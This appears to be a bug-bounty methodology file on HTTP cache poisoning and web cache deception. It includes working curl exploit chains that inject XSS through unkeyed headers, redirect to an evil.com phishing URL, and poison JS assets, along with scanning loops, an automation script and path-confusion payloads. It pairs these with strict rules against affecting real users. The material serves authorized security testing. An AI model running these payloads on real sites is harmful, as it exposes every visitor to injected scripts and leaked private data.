--- name: hunt-cache-poisoning description: HTTP cache poisoning — unkeyed headers, fat GET, file extension confusion, web cache deception, exploit chains, and automation. --- # HTTP CACHE POISONING Force cache to serve malicious response to ALL users. Reference: PortSwigger/Lewis Lamb research. ## REAL-WORLD BOUNTIES | Target | Vector | Payout | |--------|--------|--------| | HackerOne programs | X-Forwarded-Host unkeyed → XSS | $3,500–$15,000 | | Private program | Fat GET via Content-Length mismatch | $10,000 | | GitLab | Path confusion + cache headers | $5,000 | | Major SaaS | X-Original-URL unkeyed → admin panel | $8,000 | | E-commerce | Vary header misconfiguration → price manipulation | $12,000 | | Cloudflare edge | cf-ray variation → stale content | $1,500 | ## EXPLOIT CHAINS ### Chain 1: Unkeyed Header → XSS → Account Takeover ```bash # Identify reflection curl -sD- -H "X-Forwarded-Host: evil.com" "https://target.com/" | grep "evil.com" # Confirm caching (Age header) curl -sD- "https://target.com/" | grep -iE "Age:|X-Cache|x-cache" # Inject XSS curl -H "X-Forwarded-Host: a.'-alert(1)-'b" "https://target.com/" # Verify poison curl -s "https://target.com/" | grep "alert(1)" ``` ### Chain 2: Parameter Pollution → Poison → Takeover ```bash # Find redirect param curl -sD- "https://target.com/?redirect=https://target.com" | grep -i "location" # Duplicate param with evil value curl -sD- "https://target.com/?redirect=https://target.com&redirect=https://evil.com/phish" | grep -i "location" ``` ### Chain 3: File Extension Confusion → JS Poisoning ```bash # Non-existent JS returns HTML curl -sD- "https://target.com/nonexistent.js" | head -20 # Inject XSS curl -H "X-Forwarded-Host: a';alert(1)//" "https://target.com/nonexistent.js" # Verify curl -s "https://target.com/nonexistent.js" | grep "alert(1)" ``` ### Chain 4: Web Cache Deception → Account Takeover ```bash # Test deceptive path curl -sD- "https://target.com/profile/nonexistent.css" | grep -iE "Age:|X-Cache" # Check if user content is cached curl -s "https://target.com/profile/nonexistent.css" | grep -i "username\|email\|csrf" ``` ## DETECTION METHODOLOGY ### Phase 1: Cache Infrastructure ```bash curl -sD- "https://target.com/" | grep -iE "x-cache|cf-cache|age:|via:|x-varnish|fastly|cloudfront" ``` ### Phase 2: Unkeyed Header Scan ```bash for h in X-Forwarded-Host X-Forwarded-For X-Original-URL X-Rewrite-URL X-Host X-Real-IP X-Client-IP True-Client-IP; do PAYLOAD="poison-$(date +%s)" curl -sD- -H "$h: $PAYLOAD" "https://target.com/" > /dev/null RESP=$(curl -s "https://target.com/" 2>/dev/null | grep -c "$PAYLOAD") [ "$RESP" -gt 0 ] && echo "VULN: $h is unkeyed" done ``` ### Phase 3: File Extension Confusion ```bash for ext in .js .css .png .txt .xml .svg; do CT=$(curl -sD- "https://target.com/nonexistent${ext}" | grep -i "content-type" | head -1) echo "$CT" | grep -qi "text/html" && echo "CONFUSION: ${ext} returns HTML" done ``` ### Phase 4: Parameter Pollution ```bash for param in url redirect next return dest continue; do RESP1=$(curl -sD- "https://target.com/?${param}=https://example.com" | grep -i "location" | head -1) RESP2=$(curl -sD- "https://target.com/?${param}=https://example.com&${param}=https://evil.com" | grep -i "location" | head -1) [ "$RESP1" != "$RESP2" ] && echo "VULN: $param → collision" done ``` ### Phase 5: Timing Analysis ```bash curl -sD- "https://target.com/" | grep -i "age:\|cache-control:\|expires:" ``` ## WEB CACHE DECEPTION TEST ```bash # Test paths that commonly get cached for path in /profile/style.css /settings/config.js /dashboard/image.png /account/robots.txt; do AGE=$(curl -sD- "https://target.com${path}" | grep -i "^age:" | awk '{print $2}' | tr -d '\r') [ -n "$AGE" ] && [ "$AGE" -gt 0 ] && echo "CACHED: ${path} (Age: ${AGE}s)" done ``` ## AUTOMATION SCRIPT ```bash #!/bin/bash TARGET="$1"; mkdir -p cache-scan for h in X-Forwarded-Host X-Forwarded-For X-Original-URL X-Rewrite-URL X-Host X-Real-IP; do P="p$(date +%s)"; curl -sD- -H "$h: $P" "$TARGET" >/dev/null; curl -s "$TARGET" | grep -q "$P" && echo "VULN: $h" done for ext in .js .css .png .txt .xml; do curl -sD- "${TARGET}/x${ext}" | grep -qi "content-type: text/html" && echo "CONFUSION: ${ext}" done for param in url redirect next return dest; do curl -sD- "${TARGET}/?${param}=https://a.com&${param}=https://b.com" | grep -qi "location.*b.com" && echo "POLLUTION: $param" done ``` ## QUICK REFERENCE ``` Headers: X-Forwarded-Host, X-Forwarded-For, X-Original-URL, X-Rewrite-URL Extensions: .js, .css, .png, .txt, .xml, .svg Indicators: Age, X-Cache, CF-Cache-Status, X-Varnish, Via Deception: /path/style.css, /path/config.js, /path/robots.txt Params: url, redirect, next, return, dest, continue ``` ## UNKEYED INPUTS — FULL SWEEP The cache key is a subset of the request. Anything the origin READS but the cache does NOT key is a poisoning channel. Sweep all four families, not just headers: ### Unkeyed headers (beyond the usual suspects) ``` X-Forwarded-Scheme, X-Forwarded-Proto, X-Forwarded-Port, X-Forwarded-Path Forwarded: host=..., Origin (when Vary: Origin missing), Accept-Language Cookie: — caches often key NO cookies; if the origin reflects one cookie (currency, locale, A/B bucket) into the body, poison via Cookie Referer — reflected into canonical/og tags on some stacks ``` ### Unkeyed query parameters Caches commonly key the full query string — but many strip or ignore "marketing" params, and those params are frequently REFLECTED: ``` ?utm_source, utm_campaign, fbclid, gclid — stripped from key by config, yet echoed into analytics snippets / canonical URLs by the origin Any param the origin echoes but the CDN lists as ignored = poison channel Test: send ?utm_source=MARKER on YOUR cache-busted URL, fetch without it, marker present in the clean response = unkeyed + reflected ``` ### Fat GET / body-carrying requests ``` GET with a body: some origins route/echo body params, most caches key NONE of it POST-to-GET downgrade: POST that returns a redirect to a cacheable GET Parameter cloaking: ;param= (Tomcat), %00, duplicate keys where origin reads LAST and cache keys FIRST (or vice versa) ``` ## CACHE KEY NORMALISATION DIFFERENTIALS Origin and cache parse the SAME request differently. Every parser mismatch is a key that collides for victims but routes differently at origin: ``` Case: /Page vs /page — cache case-sensitive, origin not (or reverse) Encoding: %2e%2e, %252f double-encoding, unicode overlongs, %u2215 Delimiters: ;jsessionid=, trailing /. ../, /./, backslash \path Trailing: /path vs /path/ vs /path? vs /path#frag (frag never sent — key test only) Port/host: Host: target:443 vs target — different vhosts, same key Query order: ?a=1&b=2 vs ?b=2&a=1 — if origin sorts and cache doesn't, you get two entries; if cache sorts and origin doesn't, collision ``` Detection signal: same URL, two semantically different responses across encodings, with the SECOND fetch served `X-Cache: HIT`. Trap: some "differentials" are just origin A/B or geo variance — repeat each variant 3× interleaved before claiming a key collision. ## WEB CACHE DECEPTION — THE SIBLING CLASS Not poisoning: the cache stores a VICTIM's private response under a static-looking URL, then serves it to anyone. Different bug, same recon. ``` 1. As YOUR test account: GET /account/settings/nonexistent.css 2. Response = your private settings page + cache headers (Age/X-Cache HIT on retry) 3. Log out, fetch same URL unauthenticated → your data served = confirmed Path confusion variants: /settings;.css /settings%0a.css /settings/..;/x.css Delimiter set differs per stack: ; . %0a %09 ? # — sweep all ``` Deception needs the victim to VISIT the crafted link (or a crawler to); poisoning hits everyone who visits the real URL. Report them separately — different severity, different fix. ## CACHE-BUSTER DISCIPLINE — NEVER POISON REAL USERS Non-negotiable working rules: ``` - EVERY probe carries a unique cache-buster: ?cb= or a path you own (/your-test-slug-.js). The buster makes the entry reachable ONLY via your exact URL — real users on the clean URL never see it. - Prove poisoning ON THE BUSTED URL ONLY: poison fetch → clean fetch of the SAME busted URL shows payload. That is full proof; the shared URL is untouched. - NEVER send a payload against a bare shared production URL (/, /login, a live JS bundle) hoping to "verify at scale" — that is poisoning real users, gets reports rejected and hunters banned. - If you inherit an already-poisoned shared entry: stop, screenshot headers, report immediately, do NOT re-poison to "confirm". - Expire/purge after testing where the program offers a purge path. ``` ## DETECTING THE CACHE — SIGNALS ``` Headers: Age > 0, X-Cache: HIT, CF-Cache-Status: HIT/DYNAMIC, X-Varnish (two ids = hit), Via: varnish/cloudfront, X-Served-By, Cache-Status: "…; hit" Behaviour: second fetch measurably faster; response identical byte-for-byte including timestamps/nonces that the origin would regenerate No headers? Assume a cache exists on any CDN-fronted host until timing + nonce-stability tests say otherwise. Absence of Age ≠ absence of cache. ``` ## FALSE-POSITIVE TRAPS ``` - Reflection WITHOUT storage: payload in response 1, gone in response 2 = XSS, not poisoning. File it as XSS. - Your own cookie/session made it "stick": retest unauthenticated, fresh profile. - Cache-buster itself keyed differently per fetch (randomised by a WAF) = false HIT readings. - Origin personalisation (your username in page) cached ONLY for your session cookie — not cross-user until proven unauthenticated. - HEAD/GET asymmetry and 304 revalidation can fake both HITs and MISSes — confirm with full GET bodies. ``` ## DOS-ADJACENT CAUTION + PROGRAM RULES ``` - Cache poisoning degrades into DoS trivially (poison a 500, a redirect loop, or the main JS bundle). Most programs BAN availability impact: prove with a benign marker payload on a busted URL, never break the asset for others. - No mass-poisoning, no persistence tests, no "how long does it live" loops beyond one TTL observation. - Check program scope: some exclude cache findings on third-party CDN config they don't control — confirm the cache layer is in-scope before deep work. ``` ## REPORTING CHECKLIST ``` [ ] Cache identified (product + headers captured) [ ] Unkeyed input named exactly (header / param / body / cookie) [ ] Poison + clean-fetch pair on the SAME cache-busted URL, payload in both [ ] Unauthenticated fetch proves cross-user impact [ ] Deception vs poisoning classified correctly [ ] Benign payload only; no real user exposed; purge/TTL noted [ ] Fix stated: key the input, Vary correctly, or don't reflect it ```